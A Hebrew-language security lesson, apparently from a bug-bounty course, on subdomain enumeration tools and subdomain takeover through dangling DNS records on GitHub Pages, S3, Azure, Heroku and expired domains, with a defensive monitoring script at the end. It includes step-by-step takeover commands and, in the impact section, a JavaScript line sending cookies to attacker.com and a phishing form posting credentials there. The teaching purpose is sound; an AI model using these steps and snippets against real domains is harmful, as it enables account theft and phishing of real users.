סאבדומיין ו-Subdomain Takeover¶
מבוא¶
סאבדומיינים הם חלק בלתי נפרד מהתשתית של ארגונים. חברות גדולות מתחזקות מאות ואלפי סאבדומיינים - לסביבות פיתוח, API interfaces, פאנלי ניהול, שירותי staging, ועוד. מיפוי סאבדומיינים הוא שלב קריטי בחקירה, וכאשר סאבדומיין מפנה למשאב שאינו קיים עוד - נוצרת הזדמנות לתקיפת Subdomain Takeover.
בשיעור זה נלמד טכניקות מתקדמות למיפוי סאבדומיינים, נבין את מתקפת Subdomain Takeover לעומק, ונתרגל זיהוי וexploit של רשומות DNS תלויות.
מיפוי סאבדומיינים - טכניקות¶
שיטה 1 - סריקת DNS בכוח (Brute Force)¶
סריקת DNS בכוח שולחת שאילתות DNS לשמות סאבדומיינים מתוך רשימת מילים.
# Using ffuf to scan for subdomains
ffuf -u "https://FUZZ.target.com" -w /usr/share/wordlists/subdomains-top1million-5000.txt \
-mc 200,301,302,403 -o subdomains.json -of json
# Using gobuster
gobuster dns -d target.com -w /usr/share/wordlists/subdomains-top1million-5000.txt -t 50
# Using dnsx to check DNS records
cat wordlist.txt | sed 's/$/.target.com/' | dnsx -silent -a -resp
שיטה 2 - שקיפות תעודות (Certificate Transparency)¶
רישומי שקיפות תעודות (CT Logs) מכילים את כל תעודות ה-SSL שהונפקו, כולל שמות סאבדומיינים.
# Using crt.sh - a database of SSL certificates
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
jq -r '.[].name_value' | sort -u > ct_subdomains.txt
# Python script to query crt.sh
# crt_enum.py - enumerate subdomains from Certificate Transparency
import requests
import json
import sys
def get_subdomains_from_crt(domain):
url = f"https://crt.sh/?q=%25.{domain}&output=json"
try:
response = requests.get(url, timeout=30)
data = json.loads(response.text)
subdomains = set()
for entry in data:
name = entry.get("name_value", "")
for sub in name.split("\n"):
sub = sub.strip().lower()
if sub.endswith(domain) and "*" not in sub:
subdomains.add(sub)
return sorted(subdomains)
except Exception as e:
print(f"[-] Error: {e}")
return []
if __name__ == "__main__":
domain = sys.argv[1]
subs = get_subdomains_from_crt(domain)
print(f"[+] Found {len(subs)} subdomains for {domain}:")
for sub in subs:
print(f" {sub}")
שיטה 3 - כלים ייעודיים¶
# amass - the most comprehensive tool for subdomain enumeration
# combines many sources: DNS, CT logs, APIs, web archives
amass enum -d target.com -o amass_results.txt
# amass with passive sources only (quieter)
amass enum -passive -d target.com -o amass_passive.txt
# subfinder - fast and efficient
subfinder -d target.com -o subfinder_results.txt
# subfinder with API sources (requires configuring keys)
subfinder -d target.com -all -o subfinder_all.txt
# knockpy
knockpy target.com
# dnsrecon
dnsrecon -d target.com -t std,brt
# Combine results from all tools
cat amass_results.txt subfinder_results.txt ct_subdomains.txt | sort -u > all_subdomains.txt
echo "[+] Total unique subdomains: $(wc -l < all_subdomains.txt)"
שיטה 4 - דורקינג במנועי חיפוש¶
# Google Dorks
site:target.com -www
site:*.target.com
site:target.com inurl:admin
site:target.com inurl:dev
site:target.com inurl:staging
site:target.com inurl:api
# Shodan
hostname:target.com
ssl.cert.subject.cn:target.com
# Censys
parsed.names: target.com
שיטה 5 - סריקה מסיבית עם massdns¶
# massdns - especially fast DNS scanning
# suited for scanning millions of names
# Installation
git clone https://github.com/blechschmidt/massdns.git
cd massdns && make
# Create a list of subdomains to check
cat wordlist.txt | sed "s/$/.target.com/" > to_resolve.txt
# Scan using a list of public DNS resolvers
./bin/massdns -r lists/resolvers.txt -t A -o S to_resolve.txt > massdns_results.txt
# Filter positive results
grep -v "NXDOMAIN" massdns_results.txt | awk '{print $1}' | sed 's/\.$//' | sort -u
בדיקת סאבדומיינים חיים¶
לאחר מיפוי הסאבדומיינים, נבדוק אילו מהם פעילים:
# httpx - check HTTP servers
cat all_subdomains.txt | httpx -silent -status-code -title -tech-detect -o live_subdomains.txt
# Example output:
# https://admin.target.com [200] [Admin Panel] [Nginx,PHP]
# https://api.target.com [200] [API Documentation] [Node.js,Express]
# https://staging.target.com [403] [Forbidden] [Apache]
# https://old.target.com [404] [Not Found] [CloudFront]
# Filter by response code
cat live_subdomains.txt | grep "\[200\]"
cat live_subdomains.txt | grep "\[403\]" # can indicate a protected resource
מתקפת Subdomain Takeover¶
מה זה Subdomain Takeover¶
מתקפת Subdomain Takeover קורית כאשר:
1. לדומיין יש רשומת DNS (בדרך כלל CNAME) שמפנה לשירות חיצוני
2. השירות החיצוני כבר אינו בשימוש (החשבון נמחק, המשאב הוסר)
3. תוקף יכול ליצור את המשאב החסר ולהשתלט על הסאבדומיין
# Valid state:
blog.target.com -> CNAME -> target.github.io -> GitHub Pages (active)
# Vulnerable state:
old-blog.target.com -> CNAME -> target-old.github.io -> GitHub Pages (doesn't exist!)
# An attacker can create target-old.github.io and take over old-blog.target.com
זיהוי רשומות DNS תלויות¶
# Check CNAME records
dig +short CNAME blog.target.com
# Result: target.github.io.
# Check whether the target exists
dig +short A target.github.io
# If there's no answer - a takeover might be possible
# Script to check all subdomains
while read sub; do
cname=$(dig +short CNAME "$sub" | head -1)
if [ -n "$cname" ]; then
a_record=$(dig +short A "$cname" | head -1)
if [ -z "$a_record" ]; then
echo "[POTENTIAL TAKEOVER] $sub -> $cname (no A record)"
else
echo "[OK] $sub -> $cname -> $a_record"
fi
fi
done < all_subdomains.txt
שירותים פגיעים נפוצים¶
GitHub Pages¶
# Detection:
# CNAME points to *.github.io
# The response contains: "There isn't a GitHub Pages site here."
# Check
curl -s https://old-blog.target.com
# "There isn't a GitHub Pages site here."
# Exploitation:
# 1. Create a new repository named target-old.github.io
# 2. Add a CNAME file with the value: old-blog.target.com
# 3. Add an index.html with content
# 4. Enable GitHub Pages
# Now old-blog.target.com displays your content
AWS S3¶
# Detection:
# CNAME points to *.s3.amazonaws.com or *.s3-website-*.amazonaws.com
# The response: "NoSuchBucket" (code 404)
curl -s http://assets.target.com
# <Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message>
# <BucketName>target-assets</BucketName></Error>
# Exploitation:
# 1. Create an S3 bucket named target-assets in the same region
aws s3 mb s3://target-assets --region us-east-1
# 2. Upload content
aws s3 cp index.html s3://target-assets/ --acl public-read
# 3. Configure static website hosting
aws s3 website s3://target-assets/ --index-document index.html
Azure¶
# Detection:
# CNAME points to *.azurewebsites.net, *.cloudapp.azure.com,
# *.blob.core.windows.net, *.trafficmanager.net
# The response: Azure 404 error
curl -sI https://app.target.com
# The header contains: "Microsoft-Azure-Web-Apps" and a 404 code
# Exploitation:
# 1. Create an Azure App Service with the same name
# 2. Configure a Custom Domain for the subdomain
Heroku¶
# Detection:
# CNAME points to *.herokuapp.com or *.herokudns.com
# The response: "No such app" or "herokucdn.com/error-pages/no-such-app.html"
curl -s https://app.target.com
# "No such app"
# Exploitation:
# 1. Create a Heroku app with the same name
heroku create target-app-name
# 2. Configure the domain
heroku domains:add app.target.com
Shopify¶
# Detection:
# CNAME points to shops.myshopify.com
# The response: "Sorry, this shop is currently unavailable."
# Exploitation:
# 1. Create a Shopify store
# 2. Configure a custom domain for the subdomain
Fastly / CloudFront¶
# Fastly:
# CNAME points to *.fastly.net
# The response: "Fastly error: unknown domain"
# CloudFront:
# CNAME points to *.cloudfront.net
# The response: "Bad Request" or "The request could not be satisfied"
# CloudFront takeover is more complex and requires the distribution ID
כלים לזיהוי Subdomain Takeover¶
subjack¶
# Installation
go install github.com/haccer/subjack@latest
# Scan
subjack -w all_subdomains.txt -t 100 -timeout 30 -o takeover_results.txt -ssl
# Scan with custom fingerprints
subjack -w all_subdomains.txt -t 100 -c /path/to/fingerprints.json -o results.txt
nuclei עם תבניות takeover¶
# Scan with nuclei
cat all_subdomains.txt | nuclei -t takeovers/ -o takeover_nuclei.txt
# Example output:
# [aws-bucket-takeover] [http] [high] https://assets.target.com
# [github-takeover] [http] [high] https://blog.target.com
can-i-take-over-xyz¶
מאגר מידע שמתעד אילו שירותים פגיעים ל-takeover ואילו לא:
# https://github.com/EdOverflow/can-i-take-over-xyz
# Contains:
# - A list of vulnerable and non-vulnerable services
# - Detection patterns (fingerprints) for each service
# - Exploitation instructions
# - Current status (some services have fixed the issue)
Subdomain Takeover דרך דומיינים שפגו¶
כיצד זה עובד¶
# Original state:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> A -> 1.2.3.4
# After the domain expires:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> (doesn't exist - the domain is available for purchase)
# Exploitation:
# 1. Purchase expired-domain.com
# 2. Create an A record for custom-app.expired-domain.com
# 3. Now app.target.com points to your server
# Check whether a domain is available for purchase
whois expired-domain.com | grep -i "status\|expir"
# Search for CNAME records that point to expired domains
while read sub; do
cname=$(dig +short CNAME "$sub" | head -1 | sed 's/\.$//')
if [ -n "$cname" ]; then
domain=$(echo "$cname" | awk -F. '{print $(NF-1)"."$NF}')
whois "$domain" 2>/dev/null | grep -qi "no match\|not found\|available" && \
echo "[EXPIRED] $sub -> $cname (domain: $domain)"
fi
done < all_subdomains.txt
השפעה וחומרת הפגיעה¶
גניבת עוגיות - Cookie Stealing¶
// If target.com sets cookies with domain=.target.com
// An attacker who took over sub.target.com can read them
// Code on a page the attacker controls (sub.target.com):
document.location = "https://attacker.com/steal?cookie=" + document.cookie;
// Cookies of target.com with domain=.target.com will be accessible
פישינג - Phishing¶
<!-- Phishing page on sub.target.com -->
<!-- Looks legitimate because the domain is target.com -->
<html>
<body>
<h1>Sign In</h1>
<form action="https://attacker.com/phish" method="POST">
<input name="username" placeholder="Username">
<input name="password" type="password" placeholder="Password">
<button type="submit">Sign In</button>
</form>
</body>
</html>
הרעלת SEO - SEO Poisoning¶
<!-- An attacker can add malicious content that affects the ranking of target.com -->
<!-- Google sees sub.target.com as part of target.com -->
<meta name="description" content="Buy cheap products at target.com">
<a href="https://malicious-shop.com">Click here for deals</a>
הexploit לתקיפות אחרות¶
- הbypass CORS - אם target.com מאפשר בקשות מ-*.target.com
- הbypass CSP - אם ה-CSP כולל *.target.com כמקור מותר
- תקיפת OAuth - שימוש בסאבדומיין כ-redirect URI
הגנה מפני Subdomain Takeover¶
ניטור רשומות DNS¶
# Simple monitoring script that runs as a cron job
#!/bin/bash
DOMAIN="target.com"
KNOWN_SUBS="known_subdomains.txt"
ALERT_EMAIL="security@target.com"
# Enumerate current subdomains
subfinder -d "$DOMAIN" -silent > current_subs.txt
# Check for dangling CNAME records
while read sub; do
cname=$(dig +short CNAME "$sub" | head -1)
if [ -n "$cname" ]; then
resolved=$(dig +short A "$cname" | head -1)
if [ -z "$resolved" ]; then
echo "ALERT: Dangling CNAME: $sub -> $cname" | \
mail -s "Subdomain Takeover Risk" "$ALERT_EMAIL"
fi
fi
done < current_subs.txt
שיטות הגנה¶
- מחיקת רשומות DNS - כאשר שירות כבר אינו בשימוש, מחקו את רשומת ה-DNS
- ניטור שוטף - הריצו סריקות תקופתיות לזיהוי רשומות תלויות
- שמירת משאבים - אל תשחררו שמות של משאבים בשירותי ענן (S3 buckets, App Services)
- שימוש ב-CNAME בזהירות - העדיפו רשומות A על פני CNAME כאשר אפשר
- תיעוד - נהלו רשימה מעודכנת של כל הסאבדומיינים והמשאבים שלהם
סיכום¶
בשיעור זה למדנו:
- מיפוי סאבדומיינים - שימוש ב-amass, subfinder, crt.sh, massdns, ודורקינג
- מתקפת Subdomain Takeover - כיצד רשומות DNS תלויות מאפשרות השתלטות
- שירותים פגיעים - GitHub Pages, AWS S3, Azure, Heroku, Shopify, Fastly
- כלי זיהוי - subjack, nuclei, can-i-take-over-xyz
- השפעה - גניבת עוגיות, פישינג, bypass CORS/CSP
- הגנה - ניטור DNS, מחיקת רשומות, תיעוד משאבים
מיפוי סאבדומיינים ובדיקת takeover הם שלבים שצריך לבצע בכל חקירה. מדובר בחולשות שמניבות דוחות באג באונטי באופן קבוע.